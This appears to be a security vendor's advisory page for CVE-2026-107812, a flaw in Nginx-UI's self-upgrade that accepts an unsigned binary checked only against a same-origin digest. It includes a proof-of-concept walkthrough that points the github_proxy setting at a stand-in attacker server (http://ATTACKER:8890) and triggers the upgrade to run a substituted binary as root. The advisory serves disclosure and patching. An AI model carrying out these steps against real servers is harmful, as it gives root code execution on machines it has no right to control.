Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

CVE-2026-107812 — Nginx-UI

HIGHFix: 0xJacky/nginx-ui@5805855

CVE-2026-107812 is a high-severity (CVSS 7.5) CWE-494 vulnerability in github.com/0xJacky/Nginx-UI. A fix is available for github.com/0xJacky/Nginx-UI — see the affected versions and patch details below.

Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM

Also known asGHSA-662p-52hx-cmh2GO-2026-6705
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-107812.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs7th percentile — riskier than 7% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-107812 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹github.com/0xJacky/Nginx-UI

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest) through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest: digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary runs as the nginx-ui user (typically root).

Because integrity rests only on a digest fetched from the same place as the binary, anyone who controls that download path can substitute a malicious binary plus a matching digest and obtain code execution as root on the next upgrade. Additionally, the github_proxy setting accepts http:// URLs, so the binary+digest can be fetched over cleartext.

Affected code

  • internal/version/url.go GetUrl(path) = <github_proxy or cloud.nginxui.com>/<path> — used for BOTH the binary and the digest.
  • internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped with GetUrl(), fetched, and checked with digestFileContent == DigestSHA512(tarName). No signature verification anywhere in internal/upgrader/.
  • selfupdate.CommitBinary then replaces the running binary; the process restarts.
  • settings/http.go: GithubProxy accepts any URL (binding:"omitempty,url"), including http://.

Attack scenarios

A. Compromised mirror / CDN (primary). By default the binary+digest are routed through cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades, yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the mirror). A binary signature would prevent this. B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router) substitutes a malicious binary + matching digest -> root RCE on the next upgrade. C. (mechanism demonstration) An authenticated user sets github_proxy to a server they control and triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it is included only to demonstrate that an unsigned attacker binary is accepted and executed.

Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism

An attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball.

  1. Set the download origin to the attacker server (here via github_proxy; in scenarios A/B this is instead a compromised mirror / MITM): POST /api/settings with http.github_proxy = http://ATTACKER:8890 -> 200. The field accepts the http URL.
  2. Trigger the upgrade: WS GET /api/upgrade/perform, send {"channel":"stable"}.
  3. Observed:
    • The attacker server received BOTH GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest and .../nginx-ui-linux-64.tar.gz (over cleartext http).
    • WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked.
    • Inside the container: /tmp/UPGRADE_PWNED = UPGRADE_RCE_EXECUTED uid=0 -> the malicious binary replaced nginx-ui and EXECUTED AS ROOT.

Impact

Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these.

Honest scope / caveats

  • Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is accepted and executed as root, and the binary+digest are fetched over cleartext http when an http proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).
  • NOT staged (threat-model assumptions, not PoC artifacts): actually compromising cloud.nginxui.com / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are standard attacker capabilities, marked here as analysis.
  • The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to cloud.nginxui.com+GitHub plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which matters when the source is compromised or the transport is cleartext (http proxy).

Suggested fix

Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin as the binary. Reject http:// for github_proxy (require https). Consider treating github_proxy as a protected setting.

Dedup / novelty

Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/0xJacky/Nginx-UI≥ 1.9.10-0.20250517140552-daee3ac7ade1&&< 1.9.10-0.20260728114330-580585516dd81.9.10-0.20260728114330-580585516dd8go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20260728114330-580585516dd8

Affected Products

1 product · 1 configurations
Application
nginx uinginxui
≥ 2.0.0 && < 2.5.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/0xJacky/Nginx-UI, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/0xJacky/Nginx-UI to 1.9.10-0.20260728114330-580585516dd8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-107812 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

## Summary The self-upgrade downloads the release binary and its checksum (`*.tar.gz` and `*.tar.gz.digest`) through the SAME endpoint (`version.GetUrl()`, which is `github_proxy` or, by default, the project's `cloud.nginxui.com` mirror), and verifies the binary ONLY by comparing it to that digest: `digestFileContent == DigestSHA512(tarName)`. Both the binary and the digest come from the same origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then replaces the running executable (`selfupdate.CommitBinary`) and the process restarts, so the binary ru
O3 Security · Impact-Aware SCA

Is CVE-2026-107812 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-107812: Nginx-UI RCE — Fix Available